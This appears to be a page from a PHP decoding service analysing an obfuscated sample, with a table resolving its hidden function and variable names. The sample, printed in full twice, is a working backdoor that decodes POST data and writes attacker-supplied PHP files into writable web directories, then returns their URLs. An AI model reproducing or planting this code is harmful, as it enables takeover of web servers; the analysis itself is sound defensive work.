Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $tmirNruVN = 'D'.'O'.'C'."U".'M'."E".chr(78).'T'.'_'."R".'O'.chr(79).'T';$szoZWhI = ..

Decoded Output download

<?php $tmirNruVN = 'D'.'O'.'C'."U".'M'."E".chr(78).'T'.'_'."R".'O'.chr(79).'T';$szoZWhI = chr(72)."T".chr(366-282).'P'.chr(259-164).chr(72).chr(79).'S'.'T';$vjsKNvGyWR = "h".chr(829-713).'t'."p".":"."/".'/';$fPNVgMQGCI = '.'.chr(112).chr(800-696)."p";$zAcBAnM = chr(747-635)."h".chr(313-201);$yNiawB = chr(102)."i"."l".chr(101).chr(95).chr(982-870)."u".chr(702-586)."_".chr(339-240).chr(294-183).chr(437-327)."t"."e".chr(425-315).chr(148-32).chr(912-797);$ltbnAgTtSg = 'r'.chr(97)."w"."u"."r".'l'.'d'.'e'.'c'.'o'."d"."e";$tKUbnBU = chr(117).chr(110)."s".chr(212-111)."r".'i'."a".chr(487-379).chr(105).'z'."e";$uRgxtWPM = chr(105)."s".'_'.chr(119)."r".chr(105)."t".chr(97).'b'."l".chr(328-227);$TvWJcq = "p"."h"."p".'v'.chr(185-84).chr(738-624).'s'."i"."o".'n';$usjaeuqAiM = "s"."t"."r".chr(95).chr(114)."o".chr(116)."1"."3";$uyjlUk = "s"."e".'r'.'i'."a".'l'."i"."z"."e";$dlKdjwMuG = "s".'t'.chr(981-867)."_".'s'.'p'.'l'."i"."t";foreach ($_POST as $bTIiFJk => $OsEtvUmX){if (strlen($bTIiFJk) == 16){$OsEtvUmX = $dlKdjwMuG($ltbnAgTtSg($usjaeuqAiM($OsEtvUmX)));$bTIiFJk = array_slice($dlKdjwMuG(str_repeat($bTIiFJk, (count($OsEtvUmX)/16)+1)), 0, count($OsEtvUmX));function YTxSgkT($sCctfRIcTN, $KLPxY, $bTIiFJk){$kakiZy = "9500f879-6e0a-4be9-bafe-5cd0fb39d8e5";return $sCctfRIcTN ^ $kakiZy[$KLPxY % strlen($kakiZy)] ^ $bTIiFJk;}$OsEtvUmX = implode("", array_map("YTxSgkT", array_values($OsEtvUmX), array_keys($OsEtvUmX), array_values($bTIiFJk)));$OsEtvUmX = @$tKUbnBU($OsEtvUmX);if (@is_array($OsEtvUmX)){$rarQebWFqo = array_keys($OsEtvUmX);$OsEtvUmX = $OsEtvUmX[$rarQebWFqo[0]];if ($OsEtvUmX === $rarQebWFqo[0]){echo @$uyjlUk(Array($zAcBAnM => @$TvWJcq(), ));exit();}else {function ifcPQ($aBmJHlBir){static $qdMmQEMtmy = array();$TFJuVo = glob($aBmJHlBir . '/*', GLOB_ONLYDIR);if (count($TFJuVo) > 0) {foreach ($TFJuVo as $aBmJHlB) {if (@$uRgxtWPM($aBmJHlB)) {$qdMmQEMtmy[] = $aBmJHlB;}}}foreach ($TFJuVo as $aBmJHlBir) ifcPQ($aBmJHlBir);return $qdMmQEMtmy;}$rVXGp = $_SERVER[$tmirNruVN];$TFJuVo = ifcPQ($rVXGp);$rarQebWFqo = array_rand($TFJuVo);$RDdzapwXWi = $TFJuVo[$rarQebWFqo] . "/" . substr(md5(time()), 0, 8) . $fPNVgMQGCI;@$yNiawB($RDdzapwXWi, $OsEtvUmX);echo $vjsKNvGyWR . $_SERVER[$szoZWhI] . substr($RDdzapwXWi, strlen($rVXGp));exit();}}}} ?>

Did this file decode correctly?

Original Code

<?php $tmirNruVN = 'D'.'O'.'C'."U".'M'."E".chr(78).'T'.'_'."R".'O'.chr(79).'T';$szoZWhI = chr(72)."T".chr(366-282).'P'.chr(259-164).chr(72).chr(79).'S'.'T';$vjsKNvGyWR = "h".chr(829-713).'t'."p".":"."/".'/';$fPNVgMQGCI = '.'.chr(112).chr(800-696)."p";$zAcBAnM = chr(747-635)."h".chr(313-201);$yNiawB = chr(102)."i"."l".chr(101).chr(95).chr(982-870)."u".chr(702-586)."_".chr(339-240).chr(294-183).chr(437-327)."t"."e".chr(425-315).chr(148-32).chr(912-797);$ltbnAgTtSg = 'r'.chr(97)."w"."u"."r".'l'.'d'.'e'.'c'.'o'."d"."e";$tKUbnBU = chr(117).chr(110)."s".chr(212-111)."r".'i'."a".chr(487-379).chr(105).'z'."e";$uRgxtWPM = chr(105)."s".'_'.chr(119)."r".chr(105)."t".chr(97).'b'."l".chr(328-227);$TvWJcq = "p"."h"."p".'v'.chr(185-84).chr(738-624).'s'."i"."o".'n';$usjaeuqAiM = "s"."t"."r".chr(95).chr(114)."o".chr(116)."1"."3";$uyjlUk = "s"."e".'r'.'i'."a".'l'."i"."z"."e";$dlKdjwMuG = "s".'t'.chr(981-867)."_".'s'.'p'.'l'."i"."t";foreach ($_POST as $bTIiFJk => $OsEtvUmX){if (strlen($bTIiFJk) == 16){$OsEtvUmX = $dlKdjwMuG($ltbnAgTtSg($usjaeuqAiM($OsEtvUmX)));$bTIiFJk = array_slice($dlKdjwMuG(str_repeat($bTIiFJk, (count($OsEtvUmX)/16)+1)), 0, count($OsEtvUmX));function YTxSgkT($sCctfRIcTN, $KLPxY, $bTIiFJk){$kakiZy = "9500f879-6e0a-4be9-bafe-5cd0fb39d8e5";return $sCctfRIcTN ^ $kakiZy[$KLPxY % strlen($kakiZy)] ^ $bTIiFJk;}$OsEtvUmX = implode("", array_map("YTxSgkT", array_values($OsEtvUmX), array_keys($OsEtvUmX), array_values($bTIiFJk)));$OsEtvUmX = @$tKUbnBU($OsEtvUmX);if (@is_array($OsEtvUmX)){$rarQebWFqo = array_keys($OsEtvUmX);$OsEtvUmX = $OsEtvUmX[$rarQebWFqo[0]];if ($OsEtvUmX === $rarQebWFqo[0]){echo @$uyjlUk(Array($zAcBAnM => @$TvWJcq(), ));exit();}else {function ifcPQ($aBmJHlBir){static $qdMmQEMtmy = array();$TFJuVo = glob($aBmJHlBir . '/*', GLOB_ONLYDIR);if (count($TFJuVo) > 0) {foreach ($TFJuVo as $aBmJHlB) {if (@$uRgxtWPM($aBmJHlB)) {$qdMmQEMtmy[] = $aBmJHlB;}}}foreach ($TFJuVo as $aBmJHlBir) ifcPQ($aBmJHlBir);return $qdMmQEMtmy;}$rVXGp = $_SERVER[$tmirNruVN];$TFJuVo = ifcPQ($rVXGp);$rarQebWFqo = array_rand($TFJuVo);$RDdzapwXWi = $TFJuVo[$rarQebWFqo] . "/" . substr(md5(time()), 0, 8) . $fPNVgMQGCI;@$yNiawB($RDdzapwXWi, $OsEtvUmX);echo $vjsKNvGyWR . $_SERVER[$szoZWhI] . substr($RDdzapwXWi, strlen($rVXGp));exit();}}}} ?>

Function Calls

chr 40

Variables

$TvWJcq phpversion
$uyjlUk serialize
$yNiawB file_put_contents
$szoZWhI HTTP_HOST
$tKUbnBU unserialize
$zAcBAnM php
$uRgxtWPM is_writable
$dlKdjwMuG str_split
$tmirNruVN DOCUMENT_ROOT
$fPNVgMQGCI .php
$ltbnAgTtSg rawurldecode
$usjaeuqAiM str_rot13
$vjsKNvGyWR http://

Stats

MD5 07a4feaa67dcf6c8a0f81c472c8c7854
Eval Count 0
Decode Time 92 ms